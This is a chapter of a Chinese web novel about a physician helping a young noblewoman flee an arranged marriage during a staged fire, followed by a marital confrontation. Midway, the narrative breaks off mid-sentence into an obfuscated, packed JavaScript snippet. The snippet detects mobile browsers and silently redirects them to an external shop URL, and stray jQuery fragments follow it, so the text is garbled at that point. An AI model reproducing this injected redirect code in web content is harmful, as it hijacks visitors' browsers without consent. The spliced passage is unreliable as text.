31. 离开
作品:《我靠功德系统成为名医》 什么不认识?
安然端起的茶杯都顿住了,悄悄看了一眼对面坐着的何子玄和旁边的惊蛰。
什么意思,不是说温院长是何子玄的师姐吗?
惊蛰处变不惊,何子玄也淡然品茶,在茶杯放在桌上发出微微的磕碰声后何子玄才缓缓开口:
“延佑32年,首次开设女科,您是太宗钦定状元,是天子门生。我们皆是天子子民,您自然是我的师姐,今日见面是初见也是旧人重逢。”
温尔言莞尔,“可今陛下继位,不承认那次科举,我一无所有,未得天子眷顾。”
何子玄却道:“师姐殿试高中不过17岁,天子不认你,你不认天子。”
“大胆。”温尔言将茶杯放下,屏退左右,略带斥责意味道:“你我皆读圣贤书,何语此大逆不道之言?”
何子玄微微低头表示认错,却语气依旧:“学弟不才名落孙山,自是不解圣贤之道,更无缘得天子教诲,望学姐赐教。”
温尔言静静看着他,目光温柔坚毅,岁月似乎不曾在她身上留下任何痕迹,除了隐忍。
岁月如梭却点滴割在肉上,是否除了练成铜头铁臂别无其他消解之法?
温尔言想,肯定不是。
她眯起眼微微笑着:“我曾佯装忘却一腔热血,顺从地放下屠刀,成了任宰羔羊。”
“他们羡慕说我离开了四角的牢笼,是自由的雌鹰,只有我知道我失去了拿刀的资格,彻底沦为猎物。”
温尔言起身往外走,“我想夺下他们手里的刀为我所用,只能用我的方法播种,兴许开花结果要许多年,但绝不是你今天来请我走的路。”
“道不同不相为谋,请回吧。”
众人跟着温尔言出门,适时云开雾散,风清月朗,安然深深吸一口夜里清新凉爽的空气,笑道:
“差点以为刚才被云遮挡的月亮是真的月亮。”
然后对温尔言道:“现在时辰还早,赏月的时间还很充足,我们还是先聊点其他的,例如我妹妹的上学问题?”
被点名到的朱晓立刻双眼放光,眼巴巴看着温尔言。
温尔言怔了一下,继而笑道:“不会让你们白来一趟,我喜欢这孩子,明日就来学堂吧。”
何子玄:“多谢院长,日后将军也会亲自登门道谢。”
温尔言问:“哪个将军?”
她只听说是有学弟来为自家孩子求学,便让人进门,确实还么来得及详细询问身份家世。
何子玄道:“一时习惯言错,郑瑄现任五军营提督,大将军一职已卸任多年,大家却未曾改口。”
“她啊……”
温尔言低低笑出声,“可现在看来我们也不是一路人,她来与不来结果都一样。天色已晚,请回吧。”
这是她第二次开口送客了,一般来讲主人送客客人没有不走的道理,但这次几人都没有要走的意思,面面相觑,似乎在考虑让谁来开口。
温尔言看出几人的意思,便问:“是还有什么事?诸位直言吧。”
安然轻咳一声,笑道:“院长见谅,请容许我们等一等东风。”
温尔言挑眉,“东风?”
……
虽未明说,但温尔言也没再赶人,众人便齐齐坐在院中赏月。
不过多时,将将到戌时外出查看情况的惊蛰便回来了,说:“可以了。”
安然这才起身,望一眼程府的方向,隐约可见火光烧亮了一片黑夜,她向温尔言告辞,刚出门便遇见匆匆而来的尹沐从门前经过。
郑瑄说今日是尹沐值夜,来得果然很快。
安然赶紧两步上前跟上,尹沐指挥手下继续往程府过去,自己慢下脚步和安然并肩,惊愕道:
“安大夫,你怎么在这——”
“你要趁乱把人带出来吗?”
两人同时说话,又瞬间愣住。
“啊?”
两人对视,双双疑惑,安然先再次问:“瑄姐没跟你说吗?”
尹沐点头,两人稍微放满脚步往前走,轻声道:“我还是今日中午和你一起见的她,是要安排什么要事吗?”
安然叹口气有些无奈,忽然想起那晚被郑瑄“请”到府里为黑衣人医治的时候,何子玄说她“又没说清楚”“你又这样”。
现在安然完全理解当时何子玄的心情了,她真的是对朋友太过放心,以至于什么都不说也会觉得她们会把事情完成得很漂亮。
没办法,安然只能大概和尹沐说了一下情况,此时两人已经走到了程府门前。
程府后院意外走水,好在控制得很及时,火势已经不再蔓延,马上就会完全灭掉。
程府的管家迎两人进门,接着路灯的光安然看到尹沐有些犹豫为难的表情,心里有些紧张。
他这么一个尽职负责的人恐怕不会想帮助程茹这般离经叛道的逃离,更何况她还是放火的元凶。
安然搓搓手指,心想大不了真见到了程茹就自己掩护她出去好了,看在朋友和上司的情分上尹沐应该会睁一只眼闭一只眼,不举报她们吧?
“安大夫?”尹沐忽然出声打断她的思绪,说:“程大人说夫人受了惊吓,想请你去看一下。”
“好啊。”
安然回神,看向和尹沐寒暄两句就离开的程大人,已过不惑之年的面容略显沧桑,月光下清晰可见面色发红,不知是火光灼热还是生谁的气。
众人各去忙着救火,安然也要在侍女的带领下去为夫人看诊的时候,尹沐忽然说:
“我会和你一起离府,有任何需要随时唤我。”
安然立刻知道尹沐应下的是什么,不由得欣喜起来,笑着点头:“多谢将军。”
安然跟着侍女去内院的时候,注意到不少人提着水桶往走水的院落跑去,好奇问了一句:“我看大家都从这边提水过来,是府里有水源吗?”
带路的侍女点头,“府内西墙就挨着浣纱河,是之前老夫人让浣纱河引来的活水,用来种莲花的。”
安然:“倒是挺别致,不过现在的季节荷花已经都枯了吧。”
侍女道:“是,池塘里满是枯黄的荷叶,已经不好看了。”
安然点头,看了一眼池塘的方向,层层高墙院落阻碍了视线,晚上的视线更是有限,只能看到不再有人往那边去打水,回来的人也越来越少。
这一场意外的火在逐渐落下帷幕。
安然进到夫人的房间,隔着床帘为她诊脉,细细诊断后又为难起来,怎么又遇到一个装病的人?
顾元珠轻咳两声,问安然:“大夫,我是不是病得很重?”
安然犹豫了一下应该怎么回答,也就这短短几秒钟,顾元珠竟然低声哭泣起来,说:“我知道了。你们都先下去,让大夫单独和我说。”
一名年纪稍大的嬷嬷也跟着擦了擦眼泪,应下顾元珠的话要带大家都出去,却被一名侍女拦住,侍女颤颤巍巍道:
“夫人见谅,老爷说……说让我们守着您,不让我们离开。”
忽然的压抑将安然笼罩,怎么连府里的夫人也没有自由,更不用提被被是为联姻道具的程茹。
夫人低声哭泣不语,嬷嬷一咬牙硬生生将人拖了出去,其余众人也纷纷跟着出去。
一时间方才拥挤的房间只剩下她们两人,安然刚要开口说话,忽然一声响,她身边的衣柜竟然从里面打开,跳出一个小巧的女孩。
安然惊了一跳,本能后退两步,但紧接着身后的床连也哗——一下被拉开,刚才还哭泣委屈的顾元珠立刻从床上弹起,和女孩抱在一起。
一切的发生就在眨眼间,安然看得目瞪口呆,听她们母女两人道别:
“娘我走了,你可一定要想我,总有一天我会风光回来的!你一定要好好的!”
顾元珠捧着女儿的脸在她额头上亲了一口,心痛道:“乖乖跑快点,你要健康要快乐,你可以一事无成,但一定要跑出去。”
女孩点头,然后匆匆抹了眼泪,拿过藏在衣柜里的包袱匆匆背上,一边往屏风后跑一边对安然说:
“在约定的地点,程茹感激不尽!”
然后一溜烟跑出去,安然赶紧跟过去两步,就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263596|195090||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见人从房间后面的窗子跳了出去,连背影也没来得及见到就彻底扰溶入了夜色。
安然眉头微皱,这么好的身手?这用得着她们接应?
等再回里间的时候,就见顾元珠一边抹着眼泪一边往安然的诊疗箱里塞大把的银票,看得安然两眼一黑,连忙过去制止。
“夫人您这是做什么,我不用你的钱,郑将军既然已经答应了我们就一定会尽力的。”
顾元珠摇头道:“你们是小茹的救命恩人,不管事情成与不成,这都是我的心意,请一定要收下。”
拉扯间外面已经传来嘈杂的脚步声,嬷嬷阻拦的声音被刻意放大,安然连忙把银票拿出来塞到被子里,下一刻一群人便闯了进来。
顾元珠擦着眼泪瞪程阳,程阳眉头紧锁,看向安然问道:“夫人身体如何?”
安然摇头,道:“惊吓过度,郁结于心,需好生静养。”
不知程阳听进去了没有,转而看向顾元珠却一言不发,两人僵持好一会儿程阳才开口道:“我知道她在你这里,让她出来我就不怪她今日的任性。”
顾元珠冷笑一声看他,反问:“女儿不是被你关在院子里吗,来我这里找什么?她今日又任性什么了?”
“你……你一介妇人懂什么,你这么做是害了她!”程阳又涨红了脸,气冲冲道:“有外人在我不与你争辩。”
说罢又大声道:“程茹你出来,别让我——”
“你做什么!”
顾元珠恼了,拿起桌边的药碗向程阳砸过去,怒道:“你还要做多少荒唐事?”
“把女儿像关犯人一样关起来,又像抓贼一样搜了整个家,现在了我的房间也要搜了吗?”
药碗砸到程阳胸膛又啪嗒落地,碎成一片,程阳不退反进走到顾元珠身前,高大的身影将妇人完全遮挡,更显瘦小的顾元珠脆弱无助。
安然怕两人动手赶忙凑过去要制止,程阳却只是盯着顾元珠,低声斥责:“你非要当着外人的面让我难堪?”
“我做的哪件事不是为了你,为了这个家——”
啪——
一声清脆的巴掌响起,顾元珠抬手打了程阳一巴掌,似乎是自己也没想到的动作,顾元珠全身发抖,依然倔强道:
“你哪里怕外人说三道四?你又哪里是为我好?我告诉你,我不需要。”
“去找——”程阳瞪着顾元珠咆哮,“所有人都去找,掘地三尺也要把小姐找到!”
“我看谁敢!”顾元珠忽然大喝一声,一手背后竟从枕头下掏出一把匕首,瞬间架在了程阳颈间。
所有人都愣住了。
旁边的安然一直紧握药箱,生怕程阳动手打人,没想到竟然是顾元珠先发制人。
程阳也愣在原地,惊愕地看向颈间利器,不由得哂笑道:
“元珠,那可是四皇子啊,做四皇子的侧室有什么不好?你知道我费了多大的力气才——”
“我不想知道。”顾元珠打断他的话,“不就是像你当初娶我一样?我们的婚姻还不够痛苦吗,为什么还要让女儿再经历一次?!”
程阳没立刻回答,一时间房间内落针可闻,就这么僵持许久,还是顾元珠先放下了匕首,泄气道:
“罢了,你不会懂的……想搜便搜吧,我累了。”
安然悄悄退了两步,瞥见嬷嬷向她招手便趁机离开。
看来这夫妻俩的矛盾也不是一天两天的,安然便更担心程茹的事。
内院的争吵声传不出四方的夜晚,尹沐已经带人休整完毕准备离开,见安然过来便一起出府。
刚出府门没几步安然就把药箱塞进尹沐手里,说:“帮我带回去,我还有事先去了,谢谢你。”
说罢便要小跑去约定地点,却在转身的一瞬间被尹沐拉住小臂,小声说:
“我帮了她一把,她已经出去了。”
“!!”
安然顿住脚步,难掩满怀惊喜,好不容易按捺住想抱住尹沐欢呼跃雀的心,满腔的感激喜悦化作一句:
“太棒啦,真是爱死你了,太给力了!”

